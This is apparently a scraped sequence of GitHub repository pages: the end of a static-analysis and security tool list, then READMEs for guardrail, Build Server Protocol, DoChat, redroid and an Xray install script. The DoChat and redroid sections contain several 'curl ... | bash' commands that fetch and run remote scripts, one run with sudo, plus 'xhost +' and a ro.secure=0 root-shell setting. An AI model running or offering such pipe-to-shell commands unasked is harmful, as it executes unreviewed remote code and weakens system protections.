kics — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible
klint — A tool that listens to changes in Kubernetes resources and runs linting rules against them. Identify and debug erroneous objects and nudge objects in line with the policies as both change over time. Klint helps us encode checks and proactively alert teams when they need to take action.
krane — Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its definition.
kube-hunter ⚠ — Hunt for security weaknesses in Kubernetes clusters.
kube-lint — A linter for Kubernetes resources with a customizable rule set. You define a list of rules that you would like to validate against your resources and kube-lint will evaluate those rules against them.
kube-linter — KubeLinter is a static analysis tool that checks Kubernetes YAML files and Helm charts to ensure the applications represented in them adhere to best practices.
kube-score — Static code analysis of your Kubernetes object definitions.
kubeconform — A fast Kubernetes manifests validator with support for custom resources. It is inspired by, contains code from and is designed to stay close to Kubeval, but with the following improvements: * high performance: will validate & download manifests over multiple routines, caching downloaded files in memory * configurable list of remote, or local schemas locations, enabling validating Kubernetes custom resources (CRDs) and offline validation capabilities * uses by default a self-updating fork of the schemas registry maintained by the kubernetes-json-schema project - which guarantees up-to-date schemas for all recent versions of Kubernetes.
KubeLinter — KubeLinter is a static analysis tool that checks Kubernetes YAML files and Helm charts to ensure the applications represented in them adhere to best practices.
kubeval — Validates your Kubernetes configuration files and supports multiple Kubernetes versions.

LaTeX

ChkTeX — A linter for LaTex which catches some typographic errors LaTeX oversees.
lacheck — A tool for finding common mistakes in LaTeX documents.
TeXLab — A Language Server Protocol implementation for TeX/LaTeX, including lint capabilities.

Laravel

Enlightn — A static and dynamic analysis tool for Laravel applications that provides recommendations to improve the performance, security and code reliability of Laravel apps. Contains 120 automated checks.
larastan — Adds static analysis to Laravel improving developer productivity and code quality. It is a wrapper around PHPStan.

Makefiles

checkmake — Linter / Analyzer for Makefiles.
portlint — A verifier for FreeBSD and DragonFlyBSD port directories.

Markdown

markdownlint — Node.js -based style checker and lint tool for Markdown/CommonMark files.
mdformat — CommonMark compliant Markdown formatter
mdl — A tool to check Markdown files and flag style issues.
remark-lint — Pluggable Markdown code style linter written in JavaScript.
textlint — textlint is an open source text linting utility written in JavaScript.

Metalinter

ciocheck ⚠ — Linter, formatter and test suite helper. As a linter, it is a wrapper around pep8, pydocstyle, flake8, and pylint.
flake8 — A wrapper around pyflakes, pycodestyle and mccabe.
flakeheaven — flakeheaven is a python linter built around flake8 to enable inheritable and complex toml configuration.
Go Meta Linter ⚠ — Concurrently run Go lint tools and normalise their output. Use golangci-lint for new projects.
goreporter — Concurrently runs many linters and normalises their output to a report.
multilint ⚠ — A wrapper around flake8, isort and modernize.
prospector — A wrapper around pylint, pep8, mccabe and others.

Mobile

Android Lint — Run static analysis on Android projects.
android-lint-summary ⚠ — Combines lint errors of multiple projects into one output, check lint results of multiple sub-projects at once.
FlowDroid — Static taint analysis tool for Android applications.
iblessing ⚠ — iblessing is an iOS security exploiting toolkit. It can be used for reverse engineering, binary analysis and vulnerability mining.
Mariana Trench — Our security focused static analysis tool for Android and Java applications. Mariana Trench analyzes Dalvik bytecode and is built to run fast on large codebases (10s of millions of lines of code). It can find vulnerabilities as code changes, before it ever lands in your repository.
Oversecured © — Enterprise vulnerability scanner for Android and iOS apps. It allows app owners and developers to secure each new version of a mobile app by integrating Oversecured into the development process.
paprika ⚠ — A toolkit to detect some code smells in analyzed Android applications.
qark ⚠ — Tool to look for several security related Android application vulnerabilities.
redex — Redex provides a framework for reading, writing, and analyzing .dex files, and a set of optimization passes that use this framework to improve the bytecode. An APK optimized by Redex should be smaller and faster.

Nix

deadnix — Scan Nix files for dead code (unused variable bindings)
statix — Lints and suggestions for the Nix programming language. "statix check" highlights antipatterns in Nix code. "statix fix" can fix several such occurrences.

Node.js

lockfile-lint — Lint an npm or yarn lockfile to analyze and detect security issues
njsscan — A static application testing (SAST) tool that can find insecure code patterns in your node.js applications using simple pattern matcher from libsast and syntax-aware semantic code pattern search tool semgrep.
NodeJSScan — A static security code scanner for Node.js applications powered by libsast and semgrep that builds on the njsscan cli tool. It features a UI with various dashboards about an application's security status.
standard — An npm module that checks for Javascript Styleguide issues.

Packages

lintian — Static analysis tool for Debian packages.
rpmlint — Tool for checking common errors in rpm packages.

Protocol Buffers

buf — Provides a CLI linter that enforces good API design choices and structure
protolint — Pluggable linter and fixer to enforce Protocol Buffer style and conventions.

Puppet

metadata-json-lint — Tool to check the validity of Puppet metadata.json files.

Rails

dawnscanner — A static analysis security scanner for ruby written web applications. It supports Sinatra, Padrino and Ruby on Rails frameworks.

Security/SAST

AzSK — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.
brakeman — A static analysis security vulnerability scanner for Ruby on Rails applications.
Credential Digger — Credential Digger is a GitHub scanning tool that identifies hardcoded credentials (Passwords, API Keys, Secret Keys, Tokens, personal information, etc), and filtering the false positive data through a machine learning model called Password Model. This scanner is able to detect passwords and non structured tokens with a low false positive rate.
Datree — A CLI tool to prevent Kubernetes misconfigurations by ensuring that manifests and Helm charts follow best practices as well as your organization’s policies
detect-secrets — An enterprise friendly way of detecting and preventing secrets in code. It does this by running periodic diff outputs against heuristically crafted regex statements, to identify whether any new secret has been committed. This way, it avoids the overhead of digging through all git history, as well as the need to scan the entire repository every time.
Enlightn — A static and dynamic analysis tool for Laravel applications that provides recommendations to improve the performance, security and code reliability of Laravel apps. Contains 120 automated checks.
GitGuardian ggshield — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.
Gitleaks — A SAST tool for detecting hardcoded secrets like passwords, api keys, and tokens in git repos.
gokart — Golang security analysis with a focus on minimizing false positives. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe.
HasMySecretLeaked © — HasMySecretLeaked is a project from GitGuardian that aims to help individual users and organizations search across 20 million exposed secrets to verify if their developer secrets have leaked on public repositories, gists, and issues on GitHub projects.
iblessing ⚠ — iblessing is an iOS security exploiting toolkit. It can be used for reverse engineering, binary analysis and vulnerability mining.
kics — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible
ktool — Fully cross-platform toolkit and library for MachO+Obj-C editing/analysis. Includes a cli kit, a curses GUI, ObjC header dumping, and much more.
kube-hunter ⚠ — Hunt for security weaknesses in Kubernetes clusters.
lockfile-lint — Lint an npm or yarn lockfile to analyze and detect security issues
LunaSec — Open Source AppSec platform that automatically notifies you the next time vulnerabilities like Log4Shell or node-ipc happen. Track your dependencies and builds in a centralized service.
njsscan — A static application testing (SAST) tool that can find insecure code patterns in your node.js applications using simple pattern matcher from libsast and syntax-aware semantic code pattern search tool semgrep.
NodeJSScan — A static security code scanner for Node.js applications powered by libsast and semgrep that builds on the njsscan cli tool. It features a UI with various dashboards about an application's security status.
Oversecured © — Enterprise vulnerability scanner for Android and iOS apps. It allows app owners and developers to secure each new version of a mobile app by integrating Oversecured into the development process.
PT Application Inspector © — Identifies code flaws and detects vulnerabilities to prevent web attacks. Demonstrates remote code execution by presenting possible exploits.
Qualys Container Security © — Container native application protection to provide visibility and control of containerized applications.
QuantifiedCode ⚠ — Automated code review & repair. It helps you to keep track of issues and metrics in your software projects, and can be easily extended to support new types of analyses.
Rezilion © — Discovers vulnerabilities for all components in your environment, filters out 85% non-exploitable vulnerabilities and creates a remediation plan and open tickets to upgrade components that violate your security policy and/or patch automatically in CI.
scorecard — Security Scorecards - Security health metrics for Open Source
SearchDiggity © — Identifies vulnerabilities in open source code projects hosted on Github, Google Code, MS CodePlex, SourceForge, and more. The tool comes with over 130 default searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-coded passwords, etc.
tfsec — Terraform static analysis tool that prevents potential security issues by checking cloud misconfigurations at build time and directly integrates with the HCL parser for better results. Checks for violations of AWS, Azure and GCP security best practice recommendations.
trufflehog — Find credentials all over the place TruffleHog is an open source secret-scanning engine that resolves exposed secrets across your company’s entire tech stack.
Tsunami Security Scanner — A general purpose network security scanner with an extensible plugin system for detecting high severity RCE-like vulnerabilities with high confidence. Custom detectors for finding vulnerabilities (e.g. open APIs) can be added.

Smart Contracts

mythril — A symbolic execution framework with batteries included, can be used to find and exploit vulnerabilities in smart contracts automatically.
MythX © — MythX is an easy to use analysis platform which integrates several analysis methods like fuzzing, symbolic execution and static analysis to find vulnerabilities with high precision. It can be integrated with toolchains like Remix or VSCode or called from the command-line.
slither — Static analysis framework that runs a suite of vulnerability detectors, prints visual information about contract details, and provides an API to easily write custom analyses.
solhint — Solhint is an open source project created by https://protofire.io. Its goal is to provide a linting utility for Solidity code.
solium — Solium is a linter to identify and fix style and security issues in Solidity smart contracts.

Support

LibVCS4j — A Java library that allows existing tools to analyse the evolution of software systems by providing a common API for different version control systems and issue trackers.
RefactorFirst — Identifies and prioritizes God Classes and Highly Coupled classes in Java codebases you should refactor first.
Violations Lib — Java library for parsing report files from static code analysis. Used by a bunch of Jenkins, Maven and Gradle plugins.

Template-Languages

ember-template-lint — Linter for Ember or Handlebars templates.
haml-lint — Tool for writing clean and consistent HAML.
slim-lint — Configurable tool for analyzing Slim templates.
yamllint — Checks YAML files for syntax validity, key repetition and cosmetic problems such as lines length, trailing spaces, and indentation.

Terraform

GitGuardian ggshield — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.
kics — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible
shisho — A lightweight static code analyzer designed for developers and security teams. It allows you to analyze and transform source code with an intuitive DSL similar to sed, but for code.

Translation

dennis ⚠ — A set of utilities for working with PO files to ease development and improve quality.

Vue.js

HTML-Validate — Offline HTML5 validator.
Vetur — Vue tooling for VS Code, powered by vls (vue language server). Vetur has support for formatting embedded HTML, CSS, SCSS, JS, TypeScript, and more. Vetur only has a "whole document formatter" and cannot format arbitrary ranges.

Webassembly

Twiggy — Analyzes a binary's call graph to profile code size. The goal is to slim down wasm binary size.

Writing

After the Deadline ⚠ — Spell, style and grammar checker.
alex — Catch insensitive, inconsiderate writing
codespell — Check code for common misspellings.
languagetool — Style and grammar checker for 25+ languages. It finds many errors that a simple spell checker cannot detect.
misspell-fixer — Quick tool for fixing common misspellings, typos in source code.
Misspelled Words In Context — A spell-checker that groups possible misspellings and shows them in their contexts.
proselint — A linter for English prose with a focus on writing style instead of grammar.
vale — A syntax-aware linter for prose built with speed and extensibility in mind.
write-good — A linter with a focus on eliminating "weasel words".

YAML

Spectral — A flexible JSON/YAML linter, with out-of-the-box support for OpenAPI v2/v3 and AsyncAPI v2.
yamllint — Checks YAML files for syntax validity, key repetition and cosmetic problems such as lines length, trailing spaces, and indentation.

git

commitlint — checks if your commit messages meet the conventional commit format
GitGuardian ggshield — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.
HasMySecretLeaked © — HasMySecretLeaked is a project from GitGuardian that aims to help individual users and organizations search across 20 million exposed secrets to verify if their developer secrets have leaked on public repositories, gists, and issues on GitHub projects.

More Collections

Clean code linters — A collection of linters in github collections
Code Quality Checker Tools For PHP Projects — A collection of PHP linters in github collections
go-tools — A collection of tools and libraries for working with Go code, including linters and static analysis
linters — An introduction to static code analysis
OWASP Source Code Analysis Tools — List of tools maintained by the Open Web Application Security Project
php-static-analysis-tools — A reviewed list of useful PHP static analysis tools
Wikipedia — A list of tools for static code analysis.

License

To the extent possible under law, Matthias Endler has waived all copyright and related or neighboring rights to this work. The underlying source code used to format and display that content is licensed under the MIT license.

Title image Designed by Freepik.

guardrail-dev/guardrail

2023-10-30T01:35:44Z

Principled code generation from OpenAPI specifications

guardrail | | |

guardrail is a code generation tool, capable of reading from OpenAPI/Swagger specification files and generating both Scala and Java source code, targeting various libraries and frameworks listed here:

Scala: akka-http and http4s, both backed by circe, as well as dropwizard backed by jackson
Java: dropwizard and spring-mvc, both backed by jackson

Build tool plugins

Plugins	versions	docs
`guardrail-dev/sbt-guardrail`		docs
`guardrail-dev/guardrail-maven-plugin`		docs
`guardrail-dev/guardrail-gradle-plugin`	`guardrail-gradle-plugin`	Plugin Portal
CLI support	Latest	`cs install guardrail`, docs

New to guardrail?

Check out the docs!

Compatible library versions are listed in COMPATIBILITY.md

guardrail module versions

guardrail is modularized, using sbt-version-policy to ensure binary compatibility between dependent modules.

The dependency chain and versions of published modules are listed below for reference:

module	version	depends on
guardrail-core
guardrail-java-support		core
guardrail-java-async-http		java-support
guardrail-java-dropwizard		java-support, java-async-http
guardrail-java-spring-mvc		java-support
guardrail-scala-support		core
guardrail-scala-akka-http		scala-support
guardrail-scala-dropwizard		scala-support
guardrail-scala-http4s		scala-support
guardrail-cli		guardrail-core

Interested in contributing?

CONTRIBUTING.md provides an overview of how the project is structured, expectations, and information around writing new integration tests. The issue tracker also has tags for help wanted and good first issue.

Adopters

Avast
Twilio

Contributors

We used to have a list of contributors here, but github's Contributors page is much more accurate. Thanks to those who contributed before the project was open sourced!

build-server-protocol/build-server-protocol

2023-10-30T01:35:44Z

Protocol for IDEs and build tools to communicate about compile, run, test, debug and more.

Build Server Protocol

This project is an effort to improve the integration between language server/editors and build tools. This effort is led by the Scala Center and JetBrains, together with the help of other tooling developers in the Scala ecosystem and beyond.

Even though the protocol currently focuses on Scala developer tools, it's designed to be language-agnostic.

You can read the specification here.

The specification text, docs and support libraries for some of the supported languages are automatically generated from the smithy model.

Contribution

If you'd like to contribute to the protocol, please check out our CONTRIBUTING doc.

Maintainers

Current Maintainers

Adrien Piquerez - @adpi2
Andrzej Głuszak - @agluszak
Chris Kipp - @ckipp01
Justin Kaeser - @jastice
Łukasz Wawrzyk - @lukaszwawrzyk
Marcin Abramowicz - @abrams27
Tomasz Pasternak - @tpasternak

Past Maintainers

Jorge Vicente Cantero - @jvican
Ólafur Páll Geirsson - @olafurpg

Protocol Changelog

Unreleased

Add unstable run/printStdout, run/printStderr and run/readStdin notifications
Add an optional originId field to TaskStartParams, TaskProgressParams and TaskFinishParams and deprecate it in CompileReport and TestReport to support BSP clients that need to distinguish between multiple reports for the same target.
- Migration: Use the originId field in TaskFinishParams instead of CompileReport/TestReport to identify the report.
Add optional support for environment variables and working directory parameters in buildTarget/run and buildTarget/test requests. Mark arguments and environment variables lists in ScalaMainClass and ScalaTestSuites deprecated as they are replaced by the parameters in the base request.
Add cargo (Rust build tool) protocol extension

josephhajduk/grouchysaurus.rawr

2023-10-30T01:35:44Z

grouchysaurus.rawr

piyush0101/merge-report

2023-10-29T02:01:48Z

A svn missing merge report built with Scalatra

merge-report

Build & Run

$ cd merge-report
$ ./sbt
> container:start
> browse

If browse doesn't launch your browser, manually open http://localhost:8080/ in your browser.

gambit/gambit

2023-10-30T01:35:41Z

Gambit is an efficient implementation of the Scheme programming language.

leantechlabs/captaV2

2023-10-29T01:42:25Z

capta : co-ignite

Ivysauro/CNRT

2023-10-29T01:42:25Z

中国轨道交通数据库（非技术类） - 另一角度看地铁/ Data base of China Rail Transit (Non-tech) - Another view of Rail Transit

rahulsahay19/eShopping

2023-10-29T02:02:01Z

Clean Architecture Microservices example of .Net Core

posse-ap/template-ph2-website

2023-10-29T02:02:01Z

mate-academy/Potr_Pots

2023-10-29T02:02:01Z

Kolman-Freecss/JameGam-Core

2023-10-30T01:35:56Z

GameJam project - Videogame built in Unity for JameGam org

huan/docker-wechat

2023-10-29T01:42:31Z

DoChat is a Dockerized WeChat (盒装微信) PC Windows Client for Linux

DoChat /dɑɑˈtʃæt/ 盒装微信

DoChat(盒装微信) is a Dockerized WeChat(微信) PC Windows Client for Linux.

Image Credit: Docker 101 + Icon Finder, and Ps-ed by Ruoxin Song

Honors

Tweeted by Y Combinator Hacker News
Headlined by OS China

Disclaimer

We have received reports from our user said that their WeChat account has been disabled after using this project, so use it at your own risk:

昨天用了一下最新版的docker镜像立马微信就被封了 #55

Usage

WeChat PC will be started on your Linux desktop by running the following one-line command:

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh | bash

If you’re in China, try the following one-line command if the above one-line command does not work well:

curl -sL https://gitee.com/mirrors/dochat/raw/main/dochat.sh | bash

Just copy/paste the above one-line command to your terminal and press Enter. Then the WeChat PC should appear in your XWindows desktop shortly.

Attention

The dochat.sh script must not be with uid 0 (root user). Running it with uid 0 will lead to an infinite loop that is hard to kill from the terminal. If your user doesn't have the right to run docker please add the user to the docker group sudo usermod -aG docker $USER. A reboot might be neccessary for the changes to take place.

The issue is described in #60.

Features

It just works out-of-the-box with one-line of shell command!

Input/Display Chinese characters perfectly.
Paste copied images to WeChat with Ctrl+V

Requirements

Linux Ubuntu distribution will be recommended (DoChat was developed with the Ubuntu Desktop 19.10)
1. Debian support confirmed (#9)
2. OpenSUSE Leap 15.1 support confirmed (#16)
3. OpenSUSE Tumbleweed support confirmed (#150)
4. Arch support confirmed (#26)
5. Ubuntu(19.04/18.10/18.04) should be able to support
6. Other Linux distributions: might be able to support
Docker (run sudo apt update && apt install docker.io to install Docker for Ubuntu users)

Environment Variables

`DOCHAT_DPI`

DPI Scale Factors for graphic screen resolution.

DPI	Scale factor
96	100%
120	125%
144	150%
192	200%

Default: 120

To enlarge the window & fonts size:

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \
  | DOCHAT_DPI=192 bash

`DOCHAT_SKIP_PULL`

If you do not want to pull docker image for the latest version at startup everytime, you can set DOCHAT_SKIP_PULL environment variable.

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \
  | DOCHAT_SKIP_PULL=true bash

In case you have downloaded dochat.sh:

DOCHAT_SKIP_PULL=true ./dochat.sh

`DOCHAT_DEBUG`

Show more debug log messages.

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \
  | DOCHAT_DEBUG=true bash

`DOCHAT_WECHAT_VERSION`

Use a specific version for WeChat.

You can get a full list of the supported versions from Docker Hub Image Tags at https://hub.docker.com/r/zixia/wechat/tags

For example:

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \
  | DOCHAT_WECHAT_VERSION=3.3.0.115 bash

For Hackers

If you want to control everything by yourself, for example, open multiple WeChat PC client on your desktop; then, you might want to inspect the dochat.sh in our repository and try the following docker command:

docker run \
  --name DoChat \
  --rm \
  -i \
  \
  -v "$HOME/DoChat/WeChat Files/":'/home/user/WeChat Files/' \
  -v "$HOME/DoChat/Applcation Data":'/home/user/.wine/drive_c/users/user/Application Data/' \
  -v /tmp/.X11-unix:/tmp/.X11-unix \
  -v "/run/user/$(id -u)/pulse":"/run/pulse" \
  \
  -e DISPLAY \
  \
  -e XMODIFIERS=@im=fcitx \
  -e GTK_IM_MODULE=fcitx \
  -e QT_IM_MODULE=fcitx \
  -e GID="$(id -g)" \
  -e UID="$(id -u)" \
  \
  --ipc=host \
  --privileged \
  \
  zixia/wechat

Modify it whatever you want to fulfill your needs.

Versioning

The docker image has two schema of the versioning:

X.Y.Z.a: This is for the WeChat PC Windows Client version
1. zixia/wechat:2.7.1.85: WeChat 2.7.1.85
2. zixia/wechat:2.8.0.112: WeChat 2.8.0.112
x.y: This is for the docker image version.
1. zixia/wechat:0.2: docker-wechat version 0.2

The two version schema may overlap with each other.

For example: the zixia/wechat:0.2 may be the same image as the zixia/wechat:2.8.0.112.

Known Issues

WeChat 2.8.0.x can not send big images/files (#341)
- Work around: use 2.7.1.85 instead. (DOCHAT_WECHAT_VERSION=2.7.1.85)
In-WeChat Browser does not work (#2)

To-do List

Permanent Storage for WeChat PC Login Data Information (#3)
Automatically install WeChat PC from .EXE installer when building the Dockerfile. (Test Automation tools might be needed)
Monitor WeChat PC version publications so that we can publish the same version number of the docker image with it.
Resolve the infinite loop situation when running with uid 0 (#60)
New feature: wechat_pc_api， https://github.com/huan/docker-wechat/issues/125

FAQ

System Tray Icon with Gnome Desktop

Install Gnome Extension: Top Icons Plus Git by bijignome

Note 1: there's almost half dozen of the TopIcons extensions with very similar name: TopIcons, TopIcons Redux, TopIcons Plus, TopIcons Plus Git, TopIconsFix. Use TopIcons Plus Git, it's the right one.

Note 2: The TopIcons Plus has the bug that cause the wine itself shows a window on your desktop. (#19)

Exit with code 5 on openSUSE Leap

When you encounter problem that the app exit with code 5 on openSUSE Leap, you need to disable X server access control to allow any user to connect to the X server before you start the app. Use below command to disable it:

$ xhost +

OpenSUSE Tumbleweed Configurations

To address the issue (#150) do the following: (Thanks Wu Bo)

$ xhost +; sudo chown -R $USER $HOME/DoChat/

No main window after start up with 2 or more monitor setup

This could be caused by an old bug in wine with multiple monitor setup. Workaround is to start it up with single monitor and then switch to multiple monitors

This behavior may cause the view disappear when you use the Join Displays mode, so you need change the mode to mirrors when the app start, this script may help:

#bin/bash
xrandr --output HDMI-1-2 --same-as eDP-1-1

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \
  | DOCHAT_SKIP_PULL=true bash &

sleep 5
xrandr --output HDMI-1-2 --right-of eDP-1-1

Change the HDMI-1-2 to your external display name and eDP-1-1 to your built in display name. Display more than two, link to this.

Notice: you must drag the login dialog to built in display side when the process sleep 5, otherwise the view may stuck in the external display.

History

master v0.14

Update to WeChat version 3.3.0.115 (#131)
Upgrade to Wine version 6.0
Upgrade to Debian 11 (bullseye)
Rename default branch from master to main

v0.10 (Mar 12, 2020)

Upgrade wine from v4.0 to v5.0
Deploy to Docker Hub by GitHub Actions with Automatic WeChat Version Number.

v0.8 (Mar 3, 2020)

Add a new configuration environment variable DOCHAT_WECHAT_VERSION to select WeChat version.
Add WeChat v2.8.0.112
1. 新增订阅号浏览
2. 新增IPv6网络支持
3. 新增看一看精选内容
4. 新增打开聊天中小程序消息
5. 新增在小程序中使用微信支付
6. 新增聊天文件面板，可查看和管理所有聊天文件

curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \
  | DOCHAT_WECHAT_VERSION=2.8.0.112 bash

v0.5 (Feb 24, 2020)

Add environment variable DOCHAT_DPI to set DPI scale factors for graphicg screen resolution.
Disable auto-update.

v0.4 (Feb 21, 2020)

Got a great logo from my art friend Ruoxin SONG.

Fix Sound (#1)
Fix to not exit during the upgrading progress.

v0.2 (Feb 18, 2020)

The first working version, cheers!

v0.1 (Feb 17, 2020)

Project created.

Thanks

WeChat Desktop on Linux - by @ferrolho
Wine HQ App Database - WeChat
基于深度操作系统的微信 docker 镜像 by @bestwu
DoChat logo designed by my friend Ruoxin SONG.

Related Projects

DoWork /dɑɑˈwɜːk/ 盒装企业微信: Dockerized WeChat Work (企业微信) PC Windows Client for Linux
Put your WeChat in the box: https://github.com/ChisBread/wechat-box

Contributors

Author

Huan LI (李卓桓) Tencent TVP of Chatbot zixia@zixia.net

Copyright & License

Code released under the Apache-2.0 License
Docs released under Creative Commons

remote-android/redroid-doc

2023-10-29T02:02:07Z

redroid (Remote-Android) is a multi-arch, GPU enabled, Android in Cloud solution. Track issues / docs here

English | 简体中文

Overview

redroid (Remote anDroid) is a GPU accelerated AIC (Android In Cloud) solution. You can boot many instances in Linux host (Docker, podman, k8s etc.). redroid supports both arm64 and amd64 architectures. redroid is suitable for Cloud Gaming, Virtualise Phones, Automation Test and more.

Currently supported:

Android 14 (redroid/redroid:14.0.0-latest)
Android 14 64bit only (redroid/redroid:14.0.0_64only-latest)
Android 13 (redroid/redroid:13.0.0-latest)
Android 13 64bit only (redroid/redroid:13.0.0_64only-latest)
Android 12 (redroid/redroid:12.0.0-latest)
Android 12 64bit only (redroid/redroid:12.0.0_64only-latest)
Android 11 (redroid/redroid:11.0.0-latest)
Android 10 (redroid/redroid:10.0.0-latest)
Android 9 (redroid/redroid:9.0.0-latest)
Android 8.1 (redroid/redroid:8.1.0-latest)

Getting Started

redroid should capabale running on any linux (with some kernel features enabled).

Quick start on Ubuntu 20.04 here; Check deploy section for other distros.

## install docker https://docs.docker.com/engine/install/#server

## install required kernel modules
apt install linux-modules-extra-`uname -r`
modprobe binder_linux devices="binder,hwbinder,vndbinder"
modprobe ashmem_linux


## running redroid
docker run -itd --rm --privileged \
    --pull always \
    -v ~/data:/data \
    -p 5555:5555 \
    redroid/redroid:11.0.0-latest

### Explanation:
###   --pull always    -- use latest image
###   -v ~/data:/data  -- mount data partition
###   -p 5555:5555     -- expose adb port


## install adb https://developer.android.com/studio#downloads
adb connect localhost:5555
### NOTE: change localhost to IP if running redroid remotely

## view redroid screen
## install scrcpy https://github.com/Genymobile/scrcpy/blob/master/README.md#get-the-app
scrcpy -s localhost:5555
### NOTE: change localhost to IP if running redroid remotely
###     typically running scrcpy on your local PC

Configuration

## running redroid with custom settings (custom display for example)
docker run -itd --rm --privileged \
    --pull always \
    -v ~/data:/data \
    -p 5555:5555 \
    redroid/redroid:11.0.0-latest \
    androidboot.redroid_width=1080 \
    androidboot.redroid_height=1920 \
    androidboot.redroid_dpi=480 \

Param	Description	Default
`androidboot.redroid_width`	display width	720
`androidboot.redroid_height`	display height	1280
`androidboot.redroid_fps`	display FPS	30(GPU enabled) 15 (GPU not enabled)
`androidboot.redroid_dpi`	display DPI	320
`androidboot.use_memfd`	use `memfd` to replace deprecated `ashmem` plan to enable by default	false
`androidboot.use_redroid_overlayfs`	use `overlayfs` to share `data` partition `/data-base`: shared `data` partition `/data-diff`: private data	0
`androidboot.redroid_net_ndns`	number of DNS server, `8.8.8.8` will be used if no DNS server specified	0
`androidboot.redroid_net_dns<1..N>`	DNS
`androidboot.redroid_net_proxy_type`	Proxy type; choose from: `static`, `pac`, `none`, `unassigned`
`androidboot.redroid_net_proxy_host`
`androidboot.redroid_net_proxy_port`		3128
`androidboot.redroid_net_proxy_exclude_list`	comma seperated list
`androidboot.redroid_net_proxy_pac`
`androidboot.redroid_gpu_mode`	choose from: `auto`, `host`, `guest`; `guest`: use software rendering; `host`: use GPU accelerated rendering; `auto`: auto detect	`auto`
`androidboot.redroid_gpu_node`		auto-detect
`ro.xxx`	DEBUG purpose, allow override `ro.xxx` prop; For example, set `ro.secure=0`, then root adb shell provided by default

Native Bridge Support

It's possible to run arm Apps in x86 redroid instance via libhoudini, libndk_translation or QEMU translator.

Check @zhouziyang/libndk_translation for prebuilt libndk_translation. Published redroid images already got libndk_translation included.

# example structure, be careful the file owner and mode

system/
├── bin
│   ├── arm
│   └── arm64
├── etc
│   ├── binfmt_misc
│   └── init
├── lib
│   ├── arm
│   └── libnb.so
└── lib64
    ├── arm64
    └── libnb.so

# Dockerfile
FROM redroid/redroid:11.0.0-latest

ADD native-bridge.tar /

# build docker image
docker build . -t redroid:11.0.0-nb

# running
docker run -itd --rm --privileged \
    -v ~/data11-nb:/data \
    -p 5555:5555 \
    redroid:11.0.0-nb \

GMS Support

It's possible to add GMS (Google Mobile Service) support in redroid via Open GApps, MicroG or MindTheGapps.

Check android-builder-docker for details.

WebRTC Streaming

Plan to port WebRTC solutions from cuttlefish, including frontend (HTML5), backend and many virtual HALs.

How To Build

It's Same as AOSP building process. But I suggest to use docker to build.

Check android-builder-docker for details.

Troubleshooting

How to collect debug blobs

curl -fsSL https://raw.githubusercontent.com/remote-android/redroid-doc/master/debug.sh | sudo bash -s -- [CONTAINER]

omit CONTAINER if not exist any more

Container disappeared immediately

make sure the required kernel modules are installed; run dmesg -T for detailed logs

Container running, but adb cannot connect (device offline etc.)

run docker exec -it <container> sh, then check ps -A and logcat

try dmesg -T if cannot get a container shell

Contact Me

remote-android.slack.com (invite link: https://join.slack.com/t/remote-android/shared_invite/zt-q40byk2o-YHUgWXmNIUC1nweQj0L9gA)
ziyang.zhou@outlook.com

License

redroid itself is under Apache License, since redroid includes many 3rd party modules, you may need to examine license carefully.

redroid kernel modules are under GPL v2

233boy/Xray

2023-10-29T02:02:07Z

最好用的 Xray 一键安装脚本 & 管理脚本

介绍

最好用的 Xray 一键安装脚本 & 管理脚本

特点

快速安装
无敌好用
零学习成本
自动化 TLS
简化所有流程
屏蔽 BT
屏蔽中国 IP
使用 API 操作
兼容 Xray 命令
强大的快捷参数
支持所有常用协议
一键添加 Shadowsocks 2022
一键添加 VMess-(TCP/mKCP/QUIC)
一键添加 VMess-(WS/H2/gRPC)-TLS
一键添加 VLESS-(WS/H2/gRPC)-TLS
一键添加 Trojan-(WS/H2/gRPC)-TLS
一键添加 VLESS-XTLS-uTLS-REALITY
一键添加 VMess-(TCP/mKCP/QUIC) 动态端口
一键启用 BBR
一键更改伪装网站
一键更改 (端口/UUID/密码/域名/路径/加密方式/SNI/动态端口/等...)
还有更多...

设计理念

设计理念为：高效率，超快速，极易用

脚本基于作者的自身使用需求，以 多配置同时运行 为核心设计

并且专门优化了，添加、更改、查看、删除、这四项常用功能

你只需要一条命令即可完成添加、更改、查看、删除、等操作

例如，添加一个配置仅需不到 1 秒！瞬间完成添加！其他操作亦是如此！

脚本的参数非常高效率并且超级易用，请掌握参数的使用

文档

安装及使用：https://233boy.com/xray/xray-script/

帮助

使用：xray help

Xray script v1.0 by 233boy
Usage: xray [options]... [args]...

基本:
   v, version                                      显示当前版本
   ip                                              返回当前主机的 IP
   pbk                                             同等于 xray x25519
   get-port                                        返回一个可用的端口
   ss2022                                          返回一个可用于 Shadowsocks 2022 的密码

一般:
   a, add [protocol] [args... | auto]              添加配置
   c, change [name] [option] [args... | auto]      更改配置
   d, del [name]                                   删除配置**
   i, info [name]                                  查看配置
